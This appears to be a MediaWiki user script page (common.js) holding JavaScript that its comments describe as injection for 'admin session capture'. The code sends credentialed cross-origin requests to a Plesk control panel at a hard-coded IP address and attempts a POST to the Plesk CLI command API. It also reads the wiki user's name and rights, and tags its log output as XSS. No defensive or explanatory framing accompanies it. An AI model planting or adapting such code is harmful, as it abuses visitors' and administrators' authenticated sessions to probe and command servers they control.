User:WikiTest789/common.js

// Site-wide hook injection for admin session capture\n// This JS executes when WikiTest789 browses, but we also try to reach admin pages\n(function() {\n    'use strict';\n    // Try cross-origin Plesk API access\n    var PleskHost = 'https://194.164.63.170:8443';\n    \n    // Attempt to access Plesk API (CORS may allow if misconfigured)\n    function probePlesk() {\n        fetch(PleskHost + '/', {mode: 'cors', credentials: 'include'})\n            .then(function(r) { return r.text(); })\n            .then(function(html) {\n                // Check if we got an authenticated Plesk session\n                if (html.indexOf('Plesk') > -1) {\n                    console.log('[MW-XSS] Plesk response received via CORS');\n                    // Try Plesk REST API\n                    return fetch(PleskHost + '/api/v2/cli/command/call', {\n                        method: 'POST',\n                        mode: 'cors',\n                        credentials: 'include',\n                        headers: {'Content-Type': 'application/json'},\n                        body: JSON.stringify({\n                            params: ['--help']\n                        })\n                    });\n                }\n            })\n            .catch(function(e) {\n                console.log('[MW-XSS] CORS probe result:', e.message);\n            });\n    }\n    \n    // If MediaWiki API is accessible, try to list admin users with active sessions\n    if (typeof mw !== 'undefined' && mw.loader) {\n        mw.loader.using('mediawiki.api').then(function() {\n            var api = new mw.Api();\n            // Try to get CSRF tokens or session info\n            api.get({action: 'query', meta: 'userinfo', uiprop: 'rights'})\n                .then(function(data) {\n                    console.log('[MW-XSS] Current user:', data.query.userinfo.name);\n                    console.log('[MW-XSS] Rights:', data.query.userinfo.rights.join(', '));\n                });\n        });\n    }\n    \n    // Execute probes\n    probePlesk();\n})();